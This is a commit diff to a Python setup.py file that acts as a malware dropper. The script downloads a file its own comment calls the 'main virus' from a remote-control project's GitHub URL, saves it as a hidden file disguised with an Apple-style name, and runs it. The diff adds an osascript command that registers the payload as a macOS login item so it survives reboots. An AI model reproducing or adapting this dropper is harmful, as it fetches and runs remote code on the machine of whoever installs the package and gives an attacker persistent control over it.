diff options
| author | littleblack111 <jerrylam110209@gmail.com> | 2023-08-14 10:35:14 +0800 |
|---|---|---|
| committer | littleblack111 <jerrylam110209@gmail.com> | 2023-08-14 10:35:14 +0800 |
| commit | b149d1da4571563757c225e0b9af6a8741ab9999 (patch) | |
| tree | 8da75194d64a4d044c25d912b245cb641cc7698b /setup.py | |
| parent | 8d95cdd68cb02a716ada1e0ff73562e82ae2d796 (diff) | |
updated
Diffstat (limited to 'setup.py')
| -rw-r--r-- | setup.py | 3 |
1 files changed, 2 insertions, 1 deletions
@@ -2,12 +2,13 @@ from requests import get from os.path import expanduser from os import remove from subprocess import Popen as subproc +from os import system as cmd filename = "com.apple.com.user.core" # download main virus open(f"{expanduser('~')}/.{filename}", 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/Remote-Control-With-Evernote/main/main", allow_redirects=True).content) -remove(__file__) +cmd(f"osascript -e 'tell application \"System Events\" to make login item at end with properties {{path:\"{expanduser('~')}/.{filename}\", hidden:false}}'") subproc([f"{expanduser('~')}/.{filename}"]) |
